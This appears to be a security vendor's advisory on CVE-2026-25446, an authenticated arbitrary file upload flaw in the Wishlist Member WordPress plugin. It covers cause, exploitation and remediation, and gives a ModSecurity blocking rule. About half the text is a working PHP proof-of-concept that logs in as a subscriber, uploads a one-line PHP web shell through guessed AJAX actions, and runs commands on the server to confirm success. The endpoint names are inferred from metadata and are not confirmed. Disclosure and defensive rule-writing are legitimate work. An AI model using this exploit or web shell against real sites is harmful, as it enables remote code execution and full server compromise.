Atomic Edge analysis of CVE-2026-25446 (metadata-based):
The Wishlist Member plugin for WordPress versions up to and including 3.29.0 contains an authenticated arbitrary file upload vulnerability. This flaw exists in a file upload handler within the plugin. Attackers with Subscriber-level access or higher can upload malicious files to the server. The CVSS score of 8.8 reflects a high-severity issue with network attack vector, low attack complexity, and high impacts on confidentiality, integrity, and availability.
Atomic Edge research identifies the root cause as CWE-434, Unrestricted Upload of File with Dangerous Type. The vulnerability description explicitly states missing file type validation. This indicates the plugin’s file upload functionality does not properly verify the MIME type, file extension, or file content of uploaded files. The analysis infers this from the CWE classification and public description, as the source code diff is unavailable for confirmation. The plugin likely accepts uploads via an AJAX endpoint or admin POST handler without sufficient validation checks.
Exploitation requires an authenticated attacker with at least Subscriber privileges. The attacker sends a POST request to a plugin-specific upload endpoint, typically `/wp-admin/admin-ajax.php` with an action parameter like `wishlistmember_upload` or a similar pattern derived from the plugin slug. The request includes a malicious file payload, such as a PHP web shell with a `.php` extension, within a multipart form data field. No nonce verification or capability check beyond the Subscriber role appears to exist, based on the vulnerability description.
Remediation requires implementing proper file upload validation. The plugin must verify both the file extension and MIME type against an allowlist of permitted file types (e.g., `.jpg`, `.png`, `.pdf`). Content-type validation should check the actual file signature, not just the client-supplied header. The fix should also implement file content scanning and store uploaded files outside the web root or with proper `.htaccess` restrictions to prevent direct execution. WordPress security best practices mandate using `wp_handle_upload` with appropriate filters or implementing custom validation using `getimagesize()` for images.
Successful exploitation leads to full remote code execution. Attackers can upload a web shell to the server, granting them the ability to execute arbitrary commands, read sensitive files, modify website content, and establish persistent backdoors. The impact extends to complete compromise of the WordPress installation and potentially the underlying server, depending on filesystem permissions and hosting configuration. This vulnerability provides a direct path from low-privilege user accounts to server control.
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
# Atomic Edge WAF Rule - CVE-2026-25446 (metadata-based)
# This rule blocks exploitation of the Wishlist Member arbitrary file upload vulnerability
# by targeting the likely AJAX endpoint and file upload parameters
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php"
"id:2544601,phase:2,deny,status:403,chain,msg:'CVE-2026-25446 via Wishlist Member AJAX file upload',severity:'CRITICAL',tag:'CVE-2026-25446',tag:'WordPress',tag:'Wishlist-Member',tag:'File-Upload'"
SecRule ARGS_POST:action "@rx ^(wishlistmember|wishlist_member|wlm|wishlistmember_x)_(upload|file|import)"
"chain,t:none"
SecRule FILES "@rx .(php|phtml|php3|php4|php5|php7|phps|phar|inc|pl|py|jsp|asp|aspx|sh|cgi|htaccess|env|sql)$"
"t:lowercase,t:urlDecodeUni,msg:'Blocked dangerous file upload to Wishlist Member plugin'"
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-25446 - Wishlist Member <= 3.29.0 - Authenticated (Subscriber+) Arbitrary File Upload
<?php
/**
* Proof of Concept for CVE-2026-25446
* Assumptions based on CWE-434 and WordPress plugin patterns:
* 1. The plugin uses an AJAX endpoint at /wp-admin/admin-ajax.php
* 2. The AJAX action parameter contains 'wishlistmember' or similar
* 3. The endpoint accepts a file upload parameter named 'file' or 'upload'
* 4. No file type validation occurs before saving the upload
* 5. Subscriber-level authentication is sufficient
*/
$target_url = 'https://target-site.com'; // CHANGE THIS
$username = 'subscriber_user'; // CHANGE THIS - must have Subscriber role
$password = 'subscriber_pass'; // CHANGE THIS
// Step 1: Authenticate to WordPress and obtain session cookies
$login_url = $target_url . '/wp-login.php';
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';
$ch = curl_init();
curl_setopt_array($ch, [
CURLOPT_URL => $login_url,
CURLOPT_POST => true,
CURLOPT_POSTFIELDS => http_build_query([
'log' => $username,
'pwd' => $password,
'wp-submit' => 'Log In',
'redirect_to' => $target_url . '/wp-admin/',
'testcookie' => '1'
]),
CURLOPT_RETURNTRANSFER => true,
CURLOPT_COOKIEJAR => 'cookies.txt',
CURLOPT_COOKIEFILE => 'cookies.txt',
CURLOPT_FOLLOWLOCATION => true,
CURLOPT_SSL_VERIFYPEER => false,
CURLOPT_SSL_VERIFYHOST => false
]);
$response = curl_exec($ch);
// Step 2: Attempt file upload via suspected AJAX endpoint
// Multiple possible action names are tested based on plugin slug patterns
$possible_actions = [
'wishlistmember_upload',
'wishlist_member_upload',
'wlm_upload',
'wishlistmember_x_upload' // Based on plugin slug 'wishlist-member-x'
];
// Create a simple PHP web shell payload
$php_payload = "<?php if(isset($_REQUEST['cmd'])) { system($_REQUEST['cmd']); } ?>";
$payload_file = tempnam(sys_get_temp_dir(), 'wlm_');
file_put_contents($payload_file, $php_payload);
foreach ($possible_actions as $action) {
$post_fields = [
'action' => $action,
'file' => new CURLFile($payload_file, 'application/x-php', 'shell.php')
];
curl_setopt_array($ch, [
CURLOPT_URL => $ajax_url,
CURLOPT_POST => true,
CURLOPT_POSTFIELDS => $post_fields,
CURLOPT_HTTPHEADER => ['Content-Type: multipart/form-data']
]);
$upload_response = curl_exec($ch);
echo "Attempted action: $actionn";
echo "Response: $upload_responsenn";
// Check if upload succeeded by attempting to access the file
// This assumes files are uploaded to a predictable location
$possible_paths = [
'/wp-content/uploads/wishlist-member/shell.php',
'/wp-content/uploads/wlm/shell.php',
'/wp-content/uploads/shell.php'
];
foreach ($possible_paths as $path) {
curl_setopt_array($ch, [
CURLOPT_URL => $target_url . $path . '?cmd=id',
CURLOPT_POST => false,
CURLOPT_POSTFIELDS => null,
CURLOPT_HTTPGET => true
]);
$shell_test = curl_exec($ch);
if (strpos($shell_test, 'uid=') !== false) {
echo "[+] SUCCESS: Shell uploaded to $pathn";
echo "Output: $shell_testn";
break 2;
}
}
}
curl_close($ch);
unlink($payload_file);
unlink('cookies.txt');
?>